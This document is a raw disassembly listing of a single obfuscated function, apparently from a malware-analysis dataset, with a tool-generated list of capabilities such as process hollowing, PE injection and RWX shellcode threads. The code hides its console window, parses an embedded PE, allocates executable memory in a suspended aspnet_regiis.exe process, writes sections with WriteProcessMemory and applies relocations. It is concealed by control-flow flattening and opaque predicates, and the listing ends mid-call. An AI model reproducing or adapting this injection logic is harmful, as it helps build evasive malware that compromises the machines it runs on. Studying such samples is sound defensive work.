Function at 0x1000cfb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x198
mov eax, dword [0x10088880]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1a0], 0xbc0c416b
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a4], eax
sub eax, 0x81791564
je 0x1000f594
jmp 0x1000cfec
mov eax, dword [ebp - 0x1a4]
sub eax, 0x81b04405
je 0x1000ee03
jmp 0x1000d002
mov eax, dword [ebp - 0x1a4]
sub eax, 0x826ceb6f
je 0x1000dcb3
jmp 0x1000d018
mov eax, dword [ebp - 0x1a4]
sub eax, 0x83d020d0
je 0x1000f709
jmp 0x1000d02e
mov eax, dword [ebp - 0x1a4]
sub eax, 0x84ab8d0e
je 0x1000e9b2
jmp 0x1000d044
mov eax, dword [ebp - 0x1a4]
sub eax, 0x857d9786
je 0x1000f521
jmp 0x1000d05a
mov eax, dword [ebp - 0x1a4]
sub eax, 0x864b0937
je 0x1000f319
jmp 0x1000d070
mov eax, dword [ebp - 0x1a4]
sub eax, 0x87d68756
je 0x1000f6b3
jmp 0x1000d086
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8be97a9b
je 0x1000f6c2
jmp 0x1000d09c
mov eax, dword [ebp - 0x1a4]
sub eax, 0x93aac166
je 0x1000e958
jmp 0x1000d0b2
mov eax, dword [ebp - 0x1a4]
sub eax, 0x93d9ef6f
je 0x1000fa11
jmp 0x1000d0c8
mov eax, dword [ebp - 0x1a4]
sub eax, 0x94a86e89
je 0x1000f6da
jmp 0x1000d0de
mov eax, dword [ebp - 0x1a4]
sub eax, 0x954bca30
je 0x1000f853
jmp 0x1000d0f4
mov eax, dword [ebp - 0x1a4]
sub eax, 0x96c5c143
je 0x1000efff
jmp 0x1000d10a
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9702d382
je 0x1000dcf8
jmp 0x1000d120
mov eax, dword [ebp - 0x1a4]
sub eax, 0x97563b3a
je 0x1000f0a5
jmp 0x1000d136
mov eax, dword [ebp - 0x1a4]
sub eax, 0x97c85316
je 0x1000e039
jmp 0x1000d14c
mov eax, dword [ebp - 0x1a4]
sub eax, 0x99cc4173
je 0x1000df74
jmp 0x1000d162
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9a2362f0
je 0x1000f172
jmp 0x1000d178
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9a9ebc10
je 0x1000f1ed
jmp 0x1000d18e
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9bb31c89
je 0x1000e168
jmp 0x1000d1a4
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9dff7314
je 0x1000ed27
jmp 0x1000d1ba
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa2e5afac
je 0x1000eab7
jmp 0x1000d1d0
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa659888c
je 0x1000e437
jmp 0x1000d1e6
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa6db53dd
je 0x1000e206
jmp 0x1000d1fc
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa6dfaf72
je 0x1000ee52
jmp 0x1000d212
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa7aabb59
je 0x1000e9a3
jmp 0x1000d228
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa7c6c1ff
je 0x1000f97d
jmp 0x1000d23e
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa7fa9937
je 0x1000e6e3
jmp 0x1000d254
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa8a057b7
je 0x1000db1f
jmp 0x1000d26a
mov eax, dword [ebp - 0x1a4]
sub eax, 0xab0e2ac2
je 0x1000e789
jmp 0x1000d280
mov eax, dword [ebp - 0x1a4]
sub eax, 0xad866b69
je 0x1000e180
jmp 0x1000d296
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaebb3afb
je 0x1000f7ab
jmp 0x1000d2ac
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaf875206
je 0x1000df2b
jmp 0x1000d2c2
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb1cf19a8
je 0x1000ef24
jmp 0x1000d2d8
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb281f2b3
je 0x1000e637
jmp 0x1000d2ee
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb360e600
je 0x1000e147
jmp 0x1000d304
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb3e3bce5
je 0x1000ebf3
jmp 0x1000d31a
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb78a36d3
je 0x1000f8a8
jmp 0x1000d330
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb9cb179c
je 0x1000e8e8
jmp 0x1000d346
mov eax, dword [ebp - 0x1a4]
sub eax, 0xbc0c416b
je 0x1000da99
jmp 0x1000d35c
mov eax, dword [ebp - 0x1a4]
sub eax, 0xbc0f39ca
je 0x1000dd43
jmp 0x1000d372
mov eax, dword [ebp - 0x1a4]
sub eax, 0xbca37639
je 0x1000f4a9
jmp 0x1000d388
mov eax, dword [ebp - 0x1a4]
sub eax, 0xbe2a8e95
je 0x1000e5e6
jmp 0x1000d39e
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc452cc92
je 0x1000e4f5
jmp 0x1000d3b4
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc848960d
je 0x1000f5db
jmp 0x1000d3ca
mov eax, dword [ebp - 0x1a4]
sub eax, 0xcd2fa172
je 0x1000f1de
jmp 0x1000d3e0
mov eax, dword [ebp - 0x1a4]
sub eax, 0xd500105d
je 0x1000e57a
jmp 0x1000d3f6
mov eax, dword [ebp - 0x1a4]
sub eax, 0xd610aabc
je 0x1000de49
jmp 0x1000d40c
mov eax, dword [ebp - 0x1a4]
sub eax, 0xd714358b
je 0x1000e897
jmp 0x1000d422
mov eax, dword [ebp - 0x1a4]
sub eax, 0xdbfbcf94
je 0x1000ddf8
jmp 0x1000d438
mov eax, dword [ebp - 0x1a4]
sub eax, 0xdefadbf2
je 0x1000fa75
jmp 0x1000d44e
mov eax, dword [ebp - 0x1a4]
sub eax, 0xdf9d0af6
je 0x1000dc98
jmp 0x1000d464
mov eax, dword [ebp - 0x1a4]
sub eax, 0xe237e5e5
je 0x1000f992
jmp 0x1000d47a
mov eax, dword [ebp - 0x1a4]
sub eax, 0xe4cdbe3e
je 0x1000ea28
jmp 0x1000d490
mov eax, dword [ebp - 0x1a4]
sub eax, 0xe61860ad
je 0x1000ec8e
jmp 0x1000d4a6
mov eax, dword [ebp - 0x1a4]
sub eax, 0xeaf115d2
je 0x1000f9fc
jmp 0x1000d4bc
mov eax, dword [ebp - 0x1a4]
sub eax, 0xec29392d
je 0x1000e3c1
jmp 0x1000d4d2
mov eax, dword [ebp - 0x1a4]
sub eax, 0xee05b404
je 0x1000edf4
jmp 0x1000d4e8
mov eax, dword [ebp - 0x1a4]
sub eax, 0xee166421
je 0x1000f87d
jmp 0x1000d4fe
mov eax, dword [ebp - 0x1a4]
sub eax, 0xeef1d235
je 0x1000ee29
jmp 0x1000d514
mov eax, dword [ebp - 0x1a4]
sub eax, 0xf16eeea6
je 0x1000ecec
jmp 0x1000d52a
mov eax, dword [ebp - 0x1a4]
sub eax, 0xf7011d3e
je 0x1000f294
jmp 0x1000d540
mov eax, dword [ebp - 0x1a4]
sub eax, 0xf7560a55
je 0x1000f75a
jmp 0x1000d556
mov eax, dword [ebp - 0x1a4]
sub eax, 0xff47bbd9
je 0x1000ec17
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1a0], 0x4b750ca4
jmp 0x1000fa7f
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.1000a9a0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.1000a9a0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x58800
call fcn.1000a790
add esp, 8
lea eax, section..data
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x115], al
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
add edx, 0xdaebace6
sub edx, 1
sub edx, 0xdaebace6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x344e620
mov ecx, 0x50c5cd01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x1a0], 0x826ceb6f
jmp 0x1000fa7f
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x114]
add eax, 0x3bbdda83
add eax, ecx
sub eax, 0x3bbdda83
mov dword [ebp - 0x140], eax
mov edx, dword [ebp - 0x140]
mov eax, 0x83d020d0
mov ecx, 0x9702d382
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x1a0], 0xbc0f39ca
jmp 0x1000fa7f
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1001b2b0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1001b2b0
add esp, 0xc
mov eax, dword [ebp - 0x140]
add eax, 0x18
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x1a0], 0x2b721ca9
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
add edx, 0x897f5dfd
sub edx, 1
sub edx, 0x897f5dfd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x954bca30
mov ecx, 0xd610aabc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x14c], eax
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
add edx, 0x151a4721
sub edx, 1
sub edx, 0x151a4721
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x954bca30
mov ecx, 0xff96ff8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c09f56
mov ecx, 0x99cc4173
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x48b4923e
jmp 0x1000fa7f
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee166421
mov ecx, 0x25f9053a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dl, byte [ebp - 0xf5]
mov eax, 0x2c80a638
mov ecx, 0x9bb31c89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
lea eax, [ebp - 0x20]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x1a0], 0xad866b69
jmp 0x1000fa7f
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1000caa0
add esp, 4
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0x56ccc93e
mov ecx, 0xa6db53dd
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
sub edx, 0x99cdf80c
sub edx, 1
add edx, 0x99cdf80c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb78a36d3
mov ecx, 0x46611208
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
sub edx, 0xcbf93c03
sub edx, 1
add edx, 0xcbf93c03
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x58802ed4
mov ecx, 0xa659888c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov ax, word [ebp - 0xe6]
movzx ecx, ax
mov eax, dword [ebp - 0xec]
sub eax, 0xc295020d
add eax, ecx
add eax, 0xc295020d
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x18c], 0
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
sub edx, 0x7be69688
sub edx, 1
add edx, 0x7be69688
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x58802ed4
mov ecx, 0xc452cc92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x22352ace
jmp 0x1000fa7f
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xe4], eax
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
sub edx, 0xc3abf1d
sub edx, 1
add edx, 0xc3abf1d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14b6ca53
mov ecx, 0x69cdf945
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
add edx, 0xd5f26879
sub edx, 1
sub edx, 0xd5f26879
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7c6c1ff
mov ecx, 0xb281f2b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0x140]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0xe4]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xdd], al
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa7c6c1ff
mov ecx, 0x62aa8b32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0x17c]
imul ecx, dword [ebp - 0x18c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x17c]
imul esi, dword [ebp - 0x18c], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x17c]
imul edi, dword [ebp - 0x18c], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x17c]
imul ecx, dword [ebp - 0x18c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x1a0], 0xab0e2ac2
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
add edx, 0xa05db78e
sub edx, 1
sub edx, 0xa05db78e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe237e5e5
mov ecx, 0x7c8345e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dl, byte [ebp - 0xd1]
mov eax, 0xa7aabb59
mov ecx, 0x50c6a695
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x190]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xd0]
mov eax, 0xa7aabb59
mov ecx, 0x79c1d262
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
add eax, ecx
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x17c]
imul esi, dword [ebp - 0x18c], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add ecx, 0x5a2fa0e6
sub ecx, edx
sub ecx, 0x5a2fa0e6
add eax, ecx
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x1a0], 0xa7aabb59
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x84ab8d0e
jmp 0x1000fa7f
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
sub edx, 0x9b5b78a0
sub edx, 1
add edx, 0x9b5b78a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x316fbdec
mov ecx, 0xe4cdbe3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0x18c]
sub eax, 0x327e7018
add eax, 1
add eax, 0x327e7018
mov dword [ebp - 0x18c], eax
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
sub edx, 0xb8f6c732
sub edx, 1
add edx, 0xb8f6c732
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x316fbdec
mov ecx, 0xa2e5afac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x2b301a8c
jmp 0x1000fa7f
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x1a0], 0xff47bbd9
jmp 0x1000fa7f
mov eax, dword [ebp - 0x184]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
shr eax, 1
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x140]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1a0], 0xf16eeea6
jmp 0x1000fa7f
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb0]
sub eax, 0x7024c6ab
sub eax, ecx
add eax, 0x7024c6ab
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0x9dff7314
jmp 0x1000fa7f
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
add edx, 0x43d1e968
sub edx, 1
sub edx, 0x43d1e968
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeaf115d2
mov ecx, 0x32b3f605
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x81b04405
jmp 0x1000fa7f
mov esi, dword [ebp - 0x198]
mov edx, dword [ebp - 0xa8]
mov eax, 0x1045c8fd
mov ecx, 0xeef1d235
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x1a0], 0xa6dfaf72
jmp 0x1000fa7f
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa0]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x58244378
mov ecx, 0x34cdd581
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
sub edx, 0x324d5ec3
sub edx, 1
add edx, 0x324d5ec3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93d9ef6f
mov ecx, 0x4bd3b9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dl, byte [ebp - 0x95]
mov eax, 0x97563b3a
mov ecx, 0x5eaff93c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x58244378
jmp 0x1000fa7f
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x184]
add eax, 4
mov dword [ebp - 0x88], eax
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
sub edx, 0xd5ac324f
sub edx, 1
add edx, 0xd5ac324f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x136261fe
mov ecx, 0xcd2fa172
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x9a9ebc10
jmp 0x1000fa7f
mov eax, dword [ebp - 0x88]
mov edx, dword [eax]
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x1a0], 0x1da3da78
jmp 0x1000fa7f
mov ecx, dword [0x10089d1c]
mov eax, dword [0x10089d18]
mov edx, ecx
sub edx, 0xc6190e0a
sub edx, 1
add edx, 0xc6190e0a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b7f7f
mov ecx, 0x294d35af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0x150]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x1a0], 0x10312539
jmp 0x1000fa7f
mov dl, byte [ebp - 0x7d]
mov eax, 0x46ead0b8
mov ecx, 0x2d1ca0f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
xor edx, edx
sub esp, 0x1c
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
